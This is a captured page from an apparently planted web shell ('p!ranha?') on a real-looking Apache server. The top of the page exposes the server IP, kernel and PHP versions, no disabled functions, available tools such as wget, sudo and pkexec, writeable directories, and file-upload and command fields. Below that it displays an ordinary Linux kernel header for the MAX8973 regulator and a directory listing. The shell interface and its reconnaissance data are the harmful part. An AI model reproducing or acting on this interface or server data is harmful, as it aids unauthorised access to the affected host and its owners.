p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/regulator/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/regulator/max8973-regulator.h
/*
 * max8973-regulator.h -- MAXIM 8973 regulator
 *
 * Interface for regulator driver for MAXIM 8973 DC-DC step-down
 * switching regulator.
 *
 * Copyright (C) 2012 NVIDIA Corporation

 * Author: Laxman Dewangan <ldewangan@nvidia.com>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
 * more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA	02110-1301, USA.
 *
 */

#ifndef __LINUX_REGULATOR_MAX8973_H
#define __LINUX_REGULATOR_MAX8973_H

/*
 * Control flags for configuration of the device.
 * Client need to pass this information with ORed
 */
#define MAX8973_CONTROL_REMOTE_SENSE_ENABLE			0x00000001
#define MAX8973_CONTROL_FALLING_SLEW_RATE_ENABLE		0x00000002
#define MAX8973_CONTROL_OUTPUT_ACTIVE_DISCH_ENABLE		0x00000004
#define MAX8973_CONTROL_BIAS_ENABLE				0x00000008
#define MAX8973_CONTROL_PULL_DOWN_ENABLE			0x00000010
#define MAX8973_CONTROL_FREQ_SHIFT_9PER_ENABLE			0x00000020

#define MAX8973_CONTROL_CLKADV_TRIP_DISABLED			0x00000000
#define MAX8973_CONTROL_CLKADV_TRIP_75mV_PER_US			0x00010000
#define MAX8973_CONTROL_CLKADV_TRIP_150mV_PER_US		0x00020000
#define MAX8973_CONTROL_CLKADV_TRIP_75mV_PER_US_HIST_DIS	0x00030000

#define MAX8973_CONTROL_INDUCTOR_VALUE_NOMINAL			0x00000000
#define MAX8973_CONTROL_INDUCTOR_VALUE_MINUS_30_PER		0x00100000
#define MAX8973_CONTROL_INDUCTOR_VALUE_PLUS_30_PER		0x00200000
#define MAX8973_CONTROL_INDUCTOR_VALUE_PLUS_60_PER		0x00300000

/*
 * struct max8973_regulator_platform_data - max8973 regulator platform data.
 *
 * @reg_init_data: The regulator init data.
 * @control_flags: Control flags which are ORed value of above flags to
 *		configure device.
 * @enable_ext_control: Enable the voltage enable/disable through external
 *		control signal from EN input pin. If it is false then
 *		voltage output will be enabled/disabled through EN bit of
 *		device register.
 * @dvs_gpio: GPIO for dvs. It should be -1 if this is tied with fixed logic.
 * @dvs_def_state: Default state of dvs. 1 if it is high else 0.
 */
struct max8973_regulator_platform_data {
	struct regulator_init_data *reg_init_data;
	unsigned long control_flags;
	bool enable_ext_control;
	int dvs_gpio;
	unsigned dvs_def_state:1;
};

#endif /* __LINUX_REGULATOR_MAX8973_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
ab8500.h
7.598 KB
November 06 2023 09:15:52
0 / 0
0644
consumer.h
17.309 KB
November 06 2023 09:15:52
0 / 0
0644
db8500-prcmu.h
1.139 KB
November 06 2023 09:15:52
0 / 0
0644
driver.h
12.628 KB
November 06 2023 09:15:52
0 / 0
0644
fan53555.h
1.324 KB
November 06 2023 09:15:52
0 / 0
0644
fixed.h
2.41 KB
November 06 2023 09:15:52
0 / 0
0644
gpio-regulator.h
2.401 KB
November 06 2023 09:15:52
0 / 0
0644
lp3971.h
1.382 KB
November 06 2023 09:15:52
0 / 0
0644
lp3972.h
1.282 KB
November 06 2023 09:15:52
0 / 0
0644
lp872x.h
1.89 KB
November 06 2023 09:15:52
0 / 0
0644
machine.h
6.588 KB
November 06 2023 09:15:52
0 / 0
0644
max1586.h
2.132 KB
November 06 2023 09:15:52
0 / 0
0644
max8649.h
0.953 KB
November 06 2023 09:15:52
0 / 0
0644
max8660.h
1.547 KB
November 06 2023 09:15:52
0 / 0
0644
max8952.h
2.938 KB
November 06 2023 09:15:52
0 / 0
0644
max8973-regulator.h
2.738 KB
November 06 2023 09:15:52
0 / 0
0644
of_regulator.h
0.912 KB
November 06 2023 09:15:52
0 / 0
0644
tps51632-regulator.h
1.615 KB
November 06 2023 09:15:52
0 / 0
0644
tps62360.h
1.854 KB
November 06 2023 09:15:52
0 / 0
0644
tps6507x.h
1.091 KB
November 06 2023 09:15:52
0 / 0
0644
userspace-consumer.h
0.621 KB
November 06 2023 09:15:52
0 / 0
0644